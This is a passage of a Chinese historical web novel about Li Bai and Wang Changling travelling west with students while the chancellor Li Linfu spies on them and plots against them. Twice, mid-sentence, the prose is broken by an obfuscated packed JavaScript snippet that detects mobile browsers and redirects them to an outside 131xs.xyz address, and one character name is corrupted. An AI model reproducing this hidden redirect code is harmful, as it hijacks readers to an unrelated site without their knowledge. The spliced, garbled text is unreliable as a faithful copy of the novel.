他话音未落,手腕一转,“锵”一声清越龙吟,长剑已然出鞘小半,寒光在微明的晨雾中一闪而过,凛冽之意骤然四散。 “便是此剑,蜀道之上,贼人宵小闻它剑吟便胆裂三分。此去边塞,自当让它见见更辽阔的风沙!”语气中满是少年意气的锋芒。 王昌龄看着那光华内蕴的剑身,眼中掠过一丝赞许:“规划之时,我已尽力避开敏感易生战事之地。然则……陇右不安,吐蕃哨骑神出鬼没,更兼有流窜的马匪沙盗,防不胜防。有它在手,确是多几分依仗。” 他的忧虑并非空穴来风,带着学生,责任如山。 “不过……”他又想起高适的警告,眉头微蹙,“太白,你便如此离京,确然无妨?按三十五所言,宫里的眼睛,盯着你的……可不少。我怕这西行之路,反倒给他们构陷的由头。” 李白闻言,脸上那飞扬的神采稍作收敛,却不见多少惧色,语气里带着一种天真的自信和不屑:“杨国忠那竖子,高力士那阉奴,他们自然看我不顺眼。但圣人,是明君!他信我的!” 他似乎在为自己辩解,也像是在陈述事实:“临行前我觐见陛下,言明此番出塞,是为圣上采边塞风光入诗,好让后人知我大唐雄风;其二嘛,也是向那些边地蕃部百姓宣扬王化,让他们感念吾皇圣德,永为大唐顺民。” 他见王昌龄神色稍缓,脸上又漾开笑容:“陛下原本犹豫,毕竟我刚惹了点小风波……但后来,玉真长公主也为我美言了几句。公主殿下的分量,圣人还是听的。这不,就准了我的折子。” 说完,他似乎想起什么,又好气又好笑地压低声音嘟囔了一句:“说到风波,高力士那阉竖,硬生生将我写给贵妃的清平调里那句‘可怜飞燕倚新妆’,曲解成是拿祸国殃民的赵飞燕来暗讽贵妃,污蔑我玷污贵妃清誉!我可是费了九牛二虎之力才在陛下面前分说明白!” 王昌龄原本凝重的表情被他的抱怨逗得露出一丝无奈的笑意,关切问道:“哦?太白后来是如何分说清楚的?” 李白正色道:“我直言斥责高力士断章取义!我不是还写了‘一枝红艳露凝香,巫山云雨枉断肠’吗?那是让楚襄王魂牵梦绕的神女!可神女也好,飞燕也罢,在我诗中皆不及贵妃之万一!关键是——” 他狡黠地眨眨眼:“贵妃娘娘本人,极是喜爱这两句!她聪慧敏悟,岂是那等不懂诗词深意之人?若真是含沙射影的诋毁之词,娘娘只会震怒,如何会再三吟咏玩味?这事也就这么揭过去了。” 听到这番有理有据,连关键人物贵妃的态度都占了理的辩解,得知风波已然平息,王昌龄心中那块悬着的石头才算是真正落地。 他看着眼前这个才华横溢、惹祸能力与解决能力同样出众的“谪仙人”,眼神中的疏离感在晨光中似乎也融化了一分。 “既如此,人员到齐,准备就绪,那便启程吧。” 学生们早已等得心焦,闻言都松了一口气。一行人收拾心情,整理行装,踏上西向的官道,薄雾渐散,前路在朝阳下铺开。 就在他们刚刚聚集交谈之地的斜后方,一处墙角阴影里,一个几乎与暗处融为一体的黑影,手中紧紧抱着一个黄铜镶边的铜镜。 这黑影在李白与王昌龄一行出发的同时,悄无声息地一拧身,像一只灵活的黑猫,迅捷无比地蹿入不远处的巷道,几个起落,身影便消失在了通往平康坊外的方向。 李林甫府邸深处,一间装潢奢华却透着一股阴沉的书房内。 今日休沐,李林甫却早已梳洗整齐。他斜倚在铺着锦垫的软榻上,面前小几上摆着一套价值千金的越窑青瓷茶具,杯中茶汤澄澈碧绿,热气氤氲。 此刻,这位权相的膝上却慵懒地趴伏着一只体型巨大的波斯猫。那猫儿毛色雪白,一双瓦蓝的大眼睛清澈透亮。 李林甫那只佩戴着温润玉扳指的手,一下,又一下,极其轻柔地梳理着猫背上丰厚的绒毛,动作间甚至有几分慈爱。 那猫似乎极为享受,喉间发出规律而满足的“咕噜”声,大尾巴高高翘起,弯成玉带钩的形状。 黑影悄无声息地进入书房,垂手肃立。李林甫眼皮都未抬一下,依旧专注于梳理猫毛。 良久,毫无温度的声音响起:“说吧。” 黑影恭敬地呈上那面小巧的铜镜——正是那拓影十步之外,同步直连诗牌“飞天镜”。此物虽经贺知章弹压,在市面上销声匿迹,但是在禁而不绝的黑市中,因胡商的“匠心钻研”而变得价廉而易得。 于那些会为了一盒用《古朗月行》油纸包裹的点心而瞪眼的少年而言,“飞天镜”是窥探偶像的神器;对于李林甫,它则是掌控人心的无上法器。他豢养的无数“黑猫”,携带着这种法器的改良版,监视着长安每一个让他“感兴趣”的角落。 这只“黑猫”的镜面上正清晰地定格着李白在晨雾中仗剑微吟、王昌龄在一旁沉静注视的影像,影像边缘还能看到整装待发的几个年轻学子。光影流转,纤毫毕现。 “相爷,李白偕江宁丞王昌龄,并其数名学子,于卯时从城西出发,名目为奉旨采风,宣扬王化。据内线消息,玉真长公主曾于其前进宫面圣。此镜中影像乃最后临别一刻。” 黑影声音平板无波地汇报。 李林甫终于抬起了眼,眸中闪过一丝冰冷的讥讽。他嗤笑一声,手指轻轻挠了挠猫咪的下巴:“以退为进?好伎俩!这借鸡生蛋、避祸扬名的计策,倒是精妙。玉真那丫头……近来手伸得是越来越长了。” 提到玉真公主,他语气中的轻蔑不加掩饰。 “这为陛下采风,宣王化彰圣德的妙计,恐非他一介小小的翰林供奉所能想到的,其后必然是有长公主助力。先前高将军所言‘飞燕’一事轻松摆平,想必也是此理。”黑影推测道。 “飞燕?公主?”李林甫似乎对李白之前的后宫风波兴味索然,他轻轻摆了摆手,像拂去尘埃,“那等女子妒恨、文人嚼舌的酸腐事,不值一提。” 他的手指重新落回猫背,眼神却凝重起来,语气也带上了一丝真正的忌惮:“如今的李白,可非当年那仅供宴游吟咏的弄臣了!” 他缓缓坐直身体,那只巨大的波斯猫不满地“喵呜”一声,轻巧跳下他的膝盖,蹲坐在旁舔舐爪子。 李林甫的目光变得幽深:“天下寒士视其为青云梯,商贾视其为摇钱树,远在荆襄的那位张相公,不也折节为他下水背书?” 他冷哼一声,那寒意让黑影都微微缩了下脖子。 “翰林供奉?呵……待其西行归来,挟边塞之功与鼎沸之文名,圣人龙颜一悦,位至侍郎、尚书之流,恐非难事。” 黑影似乎有些不解,犹豫了一下,低声问出心中所想:“相爷既如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275823|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此忌惮此人,如鲠在喉……何不令属下……” 他做了个利落的手势。 “这长安城内,杀个人如同碾死蝼蚁。属下自有法子让他死得干净,祸水亦可东引。” 李林甫闻言,脸上那点残存的慈爱瞬间消失殆尽。他没有立刻回答,却忽然问了一个风马牛不相及的问题:“你……养过猫吗?” 黑影被这突如其来的问题问得一愣,下意识回答:“属下……未曾。” “哦……”李林甫拉长了尾音,脸上又浮现出那种带着玩味的笑意。他重新看向蹲在旁边的爱猫,那猫也歪着头看他。他伸出手,极为轻柔地托起猫的下巴搔了搔。 “猫儿啊,捕鼠是天经地义,易如反掌。”他的声音变得缓慢而奇异,“可真正的老猫,抓到老鼠后,可不会急着下口。” 他一边说着,一边用指尖在虚空轻轻划动,仿佛在拨弄一只无形的老鼠。 “它会玩。把老鼠拨过来,扫过去。看着它惊惶挣扎,筋疲力竭……直到那老鼠最后一丝气力也耗尽,彻底明白什么叫绝望……那滋味……” 李林甫的嘴角咧开一个弧度:“比直接咬死它,不知要美妙多少倍。” 黑影只觉寒气透骨,不敢再言。 李林甫似乎很满意对方的反应,他漫不经心地换了话题,语调松弛:“对了。上次查探李白在长安各处柜房流水的事,可有结果?” 黑影立刻回神,肃然禀报:“回相爷,查得极其干净!进出账目清晰,数额也与他的供奉、田产及各处馈赠大体吻合。” 他顿了一下,补充道:“不过,有一处颇有些意思。每逢季末,总有数额大致相同的一笔款子,固定从长安某处柜坊汇出,目的地是……蜀中。” “哦?这李谪仙的账目,还真就白得像这狸奴的毛一般。” 李林甫挑起半边眉毛,眼中精光一闪:“李供奉虽挥金如土,对其蜀中故旧,却称得上‘情真意切’,‘仁义无双’啊……” “情真意切”四个字被他念得意味深长。 黑影立刻会意,躬身道:“相爷放心,属下已安排人手前往。必然……‘好好’替李供奉,‘照顾’一番他在蜀中的那些同乡故旧,绝不辜负供奉这片‘深情厚谊’!” “嗯。”李林甫哼了一声,端起凉了些的茶抿了一口。 仿佛只是休沐日闲聊,他忽的问起:“那个……上回你提过的,蜀中来京准备应考的穷举子,如何了?” 黑影脸上露出毫不在意的表情:“相爷说的可是那陈十六?早埋了。连牡丹花开都没见着。翻遍他在破庙里的烂铺盖卷儿,除了几张发霉的废纸,写着些酸掉牙的诗句,半个铜子也无。” 李林甫似乎很满意这个回答,慵懒地靠在座椅上闭目养神。 “但是属下听说……”黑影又拉长了声调,意味深长,“那几日,他的蜀地同乡议论,陈十六为何不去投奔李供奉?怕是李供奉日理万机,眼高于顶,顾不得罢……” 书房里传出低低的冷笑声。 波斯猫粉色的猫耳向后收拢,跳开一步,打了个哈欠,两只雪白的前爪并拢前伸,后背高高拱起。 “对了,那个江宁丞王昌龄……是何底细?能与李白同行者,当非泛泛。”李林甫掸了掸袍子上的猫毛,问道。 “禀相爷,此人祖籍太原,开元十五年的进士,后又中博学宏词科,王忠嗣将军的座上宾。曾与‘云间鹳雀’王之涣于凉州城头斗诗,轰动一时,传为美谈。” “江宁丞……王昌龄……”李林甫缓缓复述着这个名字,脸上忽地浮现出一种类似悲悯神情,长叹一声。 “两个读书人,又带着几个嫩笋似的学生娃娃。边塞苦寒,盗匪横行,哪分贵人寒门?李供奉此行,自有为陛下采风尽忠之名。他日若真有‘不测’,也算因公殉国,能为他自己挣一份身后哀荣。只是这位江宁丞么……” 他惋惜地摇摇头,嘴角那丝冰凉的笑越发清晰:“若也一起折进去了,岂非白白葬送了大好前程?” 李林甫站起身,来到墙上悬挂的巨大舆图前,目光逐渐聚焦在洮州上。波斯猫不知何时跑了回来,许是玩累了,来回蹭着主人的袍角,希望得到主人的抚摸。 李林甫重新坐下,波斯猫灵巧地再次跳上他的双腿,惬意地享受着那有规律的抚摸。黑影悄然退下,书房里只剩下了猫儿的呼噜声。 29. 吴钩霜雪明 长安城西的尘土渐次被山野的青翠取代,官道上蹄声哒哒,载着王昌龄一行人西向秦州。 为了驱散长途跋涉的单调与沉默,王昌龄尽力活跃着气氛。他指点着沿途的山川地貌、关隘变迁,讲述着历史典故、风土人情。学生们起初还恪守着弟子之礼,专心听讲,认真记录,间或抛出几个关于地理或诗文的问题。 然而,当一身胜雪白袍、佩剑悬酒的李白信马由缰地加入谈话,少年们的好奇心很快从地理历史,转向了那些只在诗牌热议和长安传闻中出现的奇闻异事。李白的名字本就带着传奇的光环,何况他本人如此随和而富有趣味。 “太白先生,沉香亭的牡丹,当真美得能让贵妃娘娘抚栏半日不厌?”一个圆脸学生忍不住问道。 “红牡丹、白牡丹、粉牡丹,开得铺天盖地,那花蕊沾着露珠,阳光一照,自是人间盛景。”李白随手比划着,眼中仿佛映着往昔的绚烂,“当然,满园牡丹也不及贵妃风华绝代。” “听闻贵妃娘娘喜用蔻丹染红指甲,是真的么?”另一个学生怯生生地问。 “千真万确。”他特意压低声音,带了点秘辛的意味,“朱丹一点,平添三分妩媚,挥毫时更是好看。” 另一个学生马上接上:“先生!‘斗酒诗百篇’是真的吗?您真能边喝边作诗?” 李白大笑,拍着腰间酒壶:“何止百篇?酒是穿肠物,亦是诗魂引!酣畅时,胸中块垒尽化锦绣华章,如万斛泉源!” 那名叫刘七的大胆学生,更是满脸仰慕地望着李白腰间的佩剑,开口道:“先生,传闻您剑术通神,不知……不知弟子们今日有无眼福?” 此言一出,其余学生立刻屏息,眼睛放光地望向李白,又紧张地瞟了瞟王昌龄。王昌龄虽未言语,却微微颔首示意李白自便。 李白见少年人意气风发,王昌龄也不反对,心中也颇欢喜,一声长笑:“有何不可?”话音未落,人已如鹏鸟般自鞍上掠下,轻巧落在一处平坦空地之上。 “锵——!”长剑出鞘,寒光乍现,剑吟清越如龙鸣于野。 李白身随剑走,起初飘逸灵动,如云中白鹤;渐渐剑势转急,竟带起了隐隐风声,如急湍猛浪席卷沙场。点点寒芒在他周身飞旋缭绕,仿佛卷起了一地白霜。少年们看得心驰神往,不住拍手叫好。 王昌龄勒马在一旁看着。阳光将李白舞剑的身影拉得修长,剑光在他雪白的长袍上跳跃,恍若流动的星河。 他看着被学生们团团围住、兴奋地指点着剑招的那抹亮色,看着李白眼中毫无作伪的欢愉和对少年人的耐心,心中那根紧绷的弦似乎松了几分。 这“谪仙人”,竟比自己更懂如何与这些朝气蓬勃的后辈打成一片。 然而,被少年人敬佩目光簇拥的李白,在热闹之余,心底却悄然爬上一丝不易察觉的不安。这不安并非源于旅途艰辛或边塞风霜,而是源于身边那个始终与他隔着一层薄纱的人——王昌龄。 这位“诗家夫子”的确待他周全。李白初到边塞,对风土人情、沿途遗迹兴致盎然,每每有疑问请教,王昌龄必有回应,条理清晰,引经据典。 可就是这份周全,客气得过了分。他会细致解答学生的问题,随后亦会象征性地问一句“太白以为如何?”。礼数不缺,却总觉得隔了一层。不像朋友,更像是在尽职尽责地完成一项附带任务。 这感觉在第一天傍晚选择露宿地点时尤为明显。 红日西沉,李白提议就近寻一处旅店歇脚,养足精神,明日再行。在他看来,这是再合理不过的安排。 不料王昌龄却轻轻摇头,语气温和却不容置疑:“太白美意心领。然此行名为边塞采风,实则亦是磨砺。学生们对野地扎营期盼已久,不如就在这山野间,天为庐,地为席,感受此中真意。” 他看向跃跃欲试的学生们:“况且,扎帐篷,也是行军必习之术。” 学生们立刻欢呼起来。李白脸上讪讪一红,是自己有些“养尊处优”了,忙笑道:“是极是极!是太白唐突了。入乡随俗,露宿野营,正当其时!” 学生们果然受过训练,手脚麻利,动作协调,没多久,数顶规整的帐篷便在平坦处立了起来。李白瞧见王昌龄独自一人在整理支撑的骨架和篷布,便想上前帮忙,试图拉近些距离。 “少伯兄,我来帮你搭咱俩的棚子!”李白挽起袖子。 “有劳太……”王昌龄话音未落,便见李白已经热情地接过了支撑杆。 可惜,心意虽好,却帮了倒忙。李供奉的手似乎更擅长握笔、舞剑、握酒杯,对这野外营生的活计实在生疏。他用力过猛,反而把几根刚支好的支架撞得东倒西歪,原本铺好的篷布也皱作一团。 李白拿着支撑杆,看着眼前狼藉,有些手足无措地僵在原地。空气中弥漫开一片尴尬的静默。 王昌龄见状,倒也没有责备,只温和地接回了支撑杆,动作熟练地重新整理,同时状若随意地道:“无妨。太白若得空,不妨去附近寻些干柴火来,晚间炊煮亦需生火。” 拾柴?这个行!李白如蒙大赦,答应一声便快步奔向一旁的矮坡树林。 夕阳将树林染成金黄,李白在树丛间穿梭,寻找枯枝。动作虽快活,但林间枯枝败叶、荆条泥土免不了沾上衣袍。待他抱着满怀干柴回来时,那身崭新的胜雪白袍已是蹭上了片片灰黑泥土。 他兴冲冲地将柴堆好,抬头却见王昌龄的目光,正停在他的衣袍上,那目光中含着一丝难以掩饰的心疼。 李白顺着他的目光低头一看,哈哈一笑,拍打着衣袍:“哎呀,蹭了点土。少伯兄果然远见,这黑色是耐脏!洗洗便是了。” 他怕对方多心,又补了一句:“不过少伯兄也不必担心,我特意问过那裁缝,这料子是上好吴绢,易洗耐造得很,寻常旅途磨蹭,无碍!否则,我怎敢穿着它踏足这塞外风尘?” 王昌龄看着李白努力解释的样子,那沾灰的白袍在暮色中格外刺眼。关于过去的记忆在心底翻涌,他嘴唇微动,似乎想说什么。 然而,他最终只是轻轻点头,将想说的话尽数咽了回去,只淡淡应了一声:“嗯。” 夜幕低垂,篝火跳跃。饭后,疲惫的学生们很快在新扎的帐篷里沉沉睡去。王昌龄与李白的营帐紧邻学生们。 李白斜靠在铺好的被褥上,手指在诗牌界面上快速滑动,浏览着“广文集贤”上新出的诗帖。夜很静,只有远处隐约的虫鸣。 “咦?”王昌龄略带困惑的声音在背后响起,“太白,你那角落……是何物在发光?” 李白循声望去,只见帐篷角落的一堆衣物上,正透出微弱的光亮。他忙起身探过去摸索,很快从衣物堆中翻出一块造型奇异的玉佩。它并非悬挂在衣襟上,而是牢牢系在他那柄长剑的剑穗之上,便随着剑一同塞在了衣物里。 “是这个!”李白拿着玉佩,凑到王昌龄面前,脸上带着孩子气的献宝神色,“少伯兄请看!我的‘明月佩’!在蜀中时,和一个贩丝的粟特豪商斗酒赢来的!” 微弱的诗牌光线下,可见玉佩由两块温润奇石完美镶嵌而成:一半是纯黑如墨,勾勒出一弯新月的清冷弧线;另一半则是莹润乳白,化作一轮饱满圆月。两石相接,浑然一体,既暗合月之圆缺轮转,又深符道家阴阳相生之至理。 “那粟特人说是西边来的秘法炮制的石头,蕴含日月精华。白日看不出异样,但一入暗夜,便如明月生辉!厉害吧?”李白低声笑着,脸上满是得意。 “我常挂在剑上,若有那不开眼的小贼敢打它的主意,那这宝贝便自会发出光芒,让他‘月下现形’,岂非妙哉?” 饶是王昌龄心绪沉郁,也不禁被这奇物吸引了片刻注意。他仔细端详着那散发着幽幽清辉的异石,眼中流露出由衷的惊叹:“确是天造奇珍。以此防盗,倒是别出心裁。” 往后的旅途,李白发觉王昌龄与他说话确乎多了起来,不再像初时那般刻意疏离。 王昌龄给学生讲解完某处山势、某段古道沿革后,总会习惯性地转过头询问:“太白兄对此处可有高见?”或是针对某些边地习俗,也会问:“此风物入诗,太白兄以为当如何剪裁?” 对话频率高了,但那种“相敬如宾”的客气感依旧挥之不去。客气是周到,也是距离。李白渐渐感觉,这疏离似乎并非完全源自王昌龄作为师长带队的责任压力,倒像是更深层的心事所致。 眼看秦州城巍峨的轮廓遥遥在望,即将入城更换疲惫马匹,补充给养,李白心中忽生一计。入城后,他并未紧随王昌龄去驿馆马市,而是独自溜到秦州热闹的西市中。 他不仅打了几囊上好秦州粟酒,更是在西域胡商云集的商行里,精心挑选了五样新奇的玩意儿:带机括的木刻飞雀、能映出彩色光斑的水晶球、镶嵌着荧石的司南、雕刻着骆驼的骨哨,还有包裹着甜蜜饴糖的香药丸子。他还特意给那乐天派刘七买了大份的,年轻人嘛,谁不喜欢这些新鲜亮眼的小物什? 当天夜里依旧在城外择地扎营。 篝火点起,李白笑吟吟地开始分发礼物。少年们骤然得此意外之喜,眼睛都亮了,围着各自的礼物爱不释手,连声道谢,营地气氛瞬间热闹非凡。 王昌龄在一旁看着,眉头却微蹙起来。待到学生们欢天喜地去摆弄新玩意儿,他低声对李白道:“太白,此行旨在让学生观摩边塞风光,增长见识阅历,并非一味嬉戏游乐,实不必破费。” 语气中带着对“玩物丧志”的隐忧。 李白等的就是这一刻。他立刻变戏法般从身后捧出两坛封泥红亮的好酒,脸上堆满“讨好”的笑容:“少伯兄教诲的是!这些小玩意儿不过闲暇调剂罢了。这才是要紧事!” 他晃了晃酒坛:“今日课后,您给学生们布置七绝三首的课业,能否……减免一首?减到两首可好?孩子们这几日白天跋涉采风,夜里还要赶诗,着实辛苦!看在这两坛秦州佳酿的份上,夫子且改了罢!”他努力眨巴着眼,做出万分恳切状。 王昌龄闻言,眉峰一挑,伸出一根指头坚决地将酒坛推开:“胡闹!课业乃为日后沉淀根基,岂能因一时之玩而削减?此事没得商量。”他顿了顿,加重语气,“酒也不必了。明日还要早起赶路,酒多容易误事。” “哎!少伯兄误会了!”李白早有准备,笑容更盛,“此乃秦州粟酒!果味甘甜,酸爽适口,胡儿酿的酒,不易醉的!高达夫诗云‘虏酒千钟不醉人’①嘛!学生每人只喝少许,暖暖身子,解解乏,绝不多饮!你们说是不是?” 学生们正因李白替他们求情减作业而竖起耳朵,此刻听闻是不醉人的甜酒,又见王夫子态度似乎松动,立刻跟着起哄: “对啊夫子,粟酒淡得很,就跟饮甜水似的!” “夫子,赶了一天的路,喝点解解乏吧?” “太白先生一片好意……” “是啊夫子,我们都饿啦,正好佐餐!” 众口铄金,王昌龄看着李白那张灿烂中带着狡黠的笑脸,再看看一圈眼巴巴的学生,终于无奈地摇头,带着点宠溺的责备道:“你啊!迟早带坏了这些后生!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275824|182407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他终是轻轻叹了口气:“……拿来吧。” “得令!”李白乐得差点跳起来,赶紧拍开封泥,那清甜的果酸香气顿时随着晚风飘散开。 篝火跳跃得更旺了。众人围坐,烤着滋滋冒油的胡饼,就着沾满香料汁水的烤羊腿肉,大口喝着酸酸甜甜的粟酒。暖意融融,笑语不断。长途跋涉的疲惫和师长严肃带来的紧张感,在篝火与美酒中渐渐消融。 酒到酣处,篝火映得李白脸庞微红。秦州城头那高悬的明月,旷野上不息的长风,白日里匆匆一瞥过的城郭关防图景……种种意象在他胸中翻腾激荡。他猛地丢下手里啃了一半的羊腿骨,霍然起身。 “如此篝火,如此塞外明月,岂能无诗?”他声音清朗,盖过了篝火的噼啪声。 “诸位且听!” 他深吸一口气,仰望着悬于中天的那轮清辉,朗声长吟: 明月出天山,苍茫云海间。 长风几万里,吹度玉门关。 汉下白登道,胡窥青海湾。 由来征战地,不见有人还。 戍客望边邑,思归多苦颜。 高楼当此夜,叹息未应闲。 “此诗定名《关山月》,诗成!” 篝火旁一片寂静,只有火星跳跃的微响。随即爆发出热烈的掌声和赞叹。 “壮哉!” “太白先生妙笔!” “真如关山风月现于眼前!” 少年们兴奋地拍手。连王昌龄也放下了酒杯,眼中流露出真正的赞赏,他由衷点头:“气魄雄浑,境界高古。‘长风几万里,吹度玉门关’一句,尤为——” 他的声音忽然顿住,脸上的赞赏瞬间被一股剧烈的抽气打断,像是被什么东西噎住了喉咙。 “咳……咳咳……”他捂住嘴,咳嗽了几声,脸色在火光中迅速苍白了几分。 “少伯兄?怎么了?”李白立刻凑近,关切地问。 王昌龄用力摆摆手,抓起酒杯猛灌了一大口,压下了那阵不适,声音有些哑:“无事……只是……适才被那烟呛了一下……不妨事。”他将杯中残酒一口饮尽,不再言语,眼中翻腾过复杂难明的情绪。 李白看着他略显苍白的脸和被火光照亮的眼底那份难以名状的痛楚,心中的疑云更深了几分。那句诗……触动了他什么? “夫子!”就在这时,一个声音打破了沉默。又是那刘七。 他喝了不少甜酒,脸色通红,借着酒胆站起身:“您可不能只夸啊!太白先生都即兴赋了这传世名篇,您是‘七绝圣手’,怎能甘居人后?而且夫子您给我们打个样,我们才知道这作业如何写啊!” “对啊夫子!” “作一首!” “夫子来一首!”其他学生立刻跟着起哄。 王昌龄本想推辞,然方才李白的诗情,加上杯中那酸甜粟酒的后劲,还有少年们热切的期盼与怂恿,都让他心中那点尘封的诗意和傲气被勾了起来。 李白也在一旁促狭地笑着拱火:“少伯兄,露一手,叫这帮小子们瞧瞧什么叫真正的‘七绝圣手’!” 王昌龄蓦地站起,他没有立刻吟咏,而是来回踱了两步。目光灼灼,落在李白那身沾着草屑却依然醒目的白袍上。 “胡瓶落膊紫薄汗,” 篝火映照下,李白腰间有光影闪动,正是那块来历不凡的明月佩。 “碎叶城西秋月团。” 王昌龄顿住脚步,凝眸注视着那柄长剑,眼神像是看着当下,又似穿透了时空。 “明敕星驰封宝剑,” 王昌龄猛地抬头,面向苍茫的大漠,右手抬起,指点着西北方向: “辞君一夜取楼兰!” 四句落地,字字铿锵,带着金石之音和奔赴沙场的决绝勇烈。 “此诗便作《从军行》吧。” 紫薄汗的凛然,封宝剑的豪壮,取楼兰的锐利杀伐之气,瞬间点燃了篝火旁所有人的热血。少年们激动地连声赞叹,李白也忍不住拊掌喝彩。 “好!好一个‘辞君一夜取楼兰’!” “夫子这气势,绝了!” “太白先生有《关山月》,夫子有《从军行》,真乃我等造化!” 那位最年长、行事稳重的学生裴五立刻拿出自己的诗牌,将李白和自己的老师方才的即兴之作,一字不差地迅速记录下来。 他操作熟练,将两首诗记录完毕,抬头看向李白,询问道:“太白先生,您方才大作气势磅礴,学生斗胆,想代发至‘广文集贤’,必能引发热议,让天下学子共赏关山风月!先生意下如何?” 李白正被自己的诗兴和现场气氛鼓动着,又喝了不少甜酒,闻言毫不在意地挥挥手:“这等即兴小作,发便发了!随意!” 裴五得了李白首肯,又看向了自己的老师:“夫子,您意下如何?” 王昌龄不知何时已经坐回了篝火旁的原位,脸上的表情却已从方才的激昂中冷却下来,又恢复了那种难以言喻的平静。 火光跳跃在他深沉的眸子里,却映不出丝毫暖意。他回应了裴五一个眼神,轻轻摇了摇头。 裴五会意,虽有些不解夫子为何如此矜持,但还是恭敬地微微欠身,低声回道:“是,学生明白。私下存录给夫子便是。” 他将准备发送《从军行》的操作停下,转而将其通过私人对话界面发给“青海长云”。 篝火继续燃烧,噼啪作响,暖黄色的火光撕开浓重的夜色,将一行人的身影投在广袤的原野之上。 30. 银鞍照白马(上) 马蹄踏过陇右道的黄尘,凉州城垣的轮廓在视野尽头愈见清晰。王昌龄的沉默却像一道无形的墙,随着马蹄声越砌越高。他依旧穿着那身吞噬所有光线的黑袍,端坐马背,目光沉凝地望向远方。 沿途的讲解早已稀疏,连学生抛来的问题,他也仅做简单讲解,随后便再无下文。 李白策马行在王昌龄身侧,那如影随形的疏离感比凉州的风沙更令人窒息。他试图挑起些轻松话题——凉州的美酒、胡商带来的新奇玩物,甚至昨日掠过天际的孤雁。王昌龄的回应礼貌周全,却像隔着一层窗户纸,客气得没有一丝暖意。 学生们敏锐地察觉到了夫子的非同寻常。刘七偷偷问裴五:“裴兄,夫子这是怎么了?自打靠近凉州,话都少了,脸色也……不太好看。” 裴五微微摇摇头,示意他噤声:“夫子一路安排操劳,身心消耗大,莫要去烦扰他。” 少年们心中了然,个个变得乖巧无比,行路、安营、用饭都轻手轻脚,生怕惹了夫子不快。 李白自然更清晰地感受到了这种异样。王昌龄的沉默似乎是沉浸在某种只有他自己才知晓原委的思绪中,无形地将他隔绝开来。旁人猜不透,也无从参破。 一行人在临近凉州的一处河谷安营扎寨。夜色深沉,远处隐约传来野狼的嚎叫。李白翻来覆去,终是忍不住,在黑暗中轻声开口: “少伯兄……” 他的声音在寂静的帐篷里格外清晰:“可是……可是太白何处言语无状,行事不周,得罪了兄台?若真有,兄台但讲无妨,太白必当改正。” 帐篷里一片死寂,只有两人轻微的呼吸声。过了许久,久到李白以为对方已然入睡,黑暗中才传来一声压抑的、带着浓重鼻音的回应: “……没有。” 又是长久的沉默。 王昌龄深吸了一口气,声音刻意带上了一丝轻松的语调,岔开了话题:“明日入城,当寻间舒适的客栈落脚。凉州葡萄酒,天下闻名。你我……还有这些小子们,正好坐下来好好品尝一番,也学学子羽当年‘葡萄美酒夜光杯’的豪情,太白定会喜欢。” 提到王翰,李□□神一振,仿佛抓到了打破僵局的稻草:“说起王子羽,他那首《凉州词》当真是绝唱!诗牌上都说,是在吐蕃夜袭的军营里,刀光剑影中一气呵成!” 他越说越兴奋,撑起半边身子:“少伯兄,当年您与季凌先生在这凉州城头斗诗,是否也如这般惊心动魄?若非亲眼见过千军万马,如何能写出那般铿锵如雷、气吞山河……” “好了!”这激动的话语一声低喝骤然打断,一丝难以名状的烦躁在空气里弥漫,“时辰不早,明日还要赶路,歇息吧。” 李白未完的话语噎在喉咙里,心头猛地一沉。显然,自己又触到了他的痛处,而且……似乎与那位“云间鹳雀”王之涣有关。 凉州城内,风沙的气息裹着烟火气扑面而来。一行人找了间干净敞亮的客栈安顿。裴五斟酌着开口:“夫子,太白先生,不如要个通铺,我们几个学生挤一挤就好。您二位各要一间单房,也好安歇。” 王昌龄却摇头:“五个人挤在一间通铺,成何体统。” 他目光扫过客栈大堂,看了看满脸堆笑的掌柜,又看了看随行众人:“定四间客房。” 没等众人反应,他目光落在李白身上,语气坚决地补充,“两人一间。太白,你与裴五一间。” 虽未言明,但众人都听得明白,王昌龄要自己一间单间。 空气瞬间凝固。 李白愕然地看着王昌龄,学生们也面面相觑。 裴五脸上掠过一丝意外,随即恢复平静,躬身应道:“是,夫子。”他立刻转身,带领其他几个学生去分配房间。 王昌龄不再看众人,提着自己的小包裹,走向伙计指引的方向。那身黑袍融入客栈大堂略嫌昏暗的光线里,背影显得格外孤峭。 晚饭安排在客栈大堂。王昌龄竟主动抱了两坛葡萄酒来,一坛放在桌上,招呼学生们随意取用,另一坛则被他无声无息地放在了桌下,无人敢问。 席间,王昌龄似乎恢复了常态,与大家谈笑风生,讲着凉州的瓜果、皮货、胡旋舞娘。李白食不知味,心中疑虑如藤蔓缠绕。 凉州城头,二王斗诗,乃是诗坛佳话。故地重游,王昌龄为何如此讳莫如深?绝口不提城头,不提斗诗,更不提那个名字。那坛桌下的酒,又为谁而备? 饭后众人各自回房。李白走在最后,见王昌龄也落在后面,似乎在柜台交代着什么。他心念一动,快步跟上沉稳的裴五,回到他们两人的客房。 李白看得出,这个学生年纪不大,言行举止却最是沉稳得体,王昌龄不在时,他调度学生、安排事务井井有条,显然是极受信任的心腹弟子。 关上门,李白再无顾忌,直接问道:“裴贤弟,我想你跟随少伯兄时间不短了,应该知道些事。我观少伯兄今日……甚是反常,你可知晓其中缘由?关于那位……季凌先生,王之涣……你可知少伯兄与他,究竟是何等情谊?” 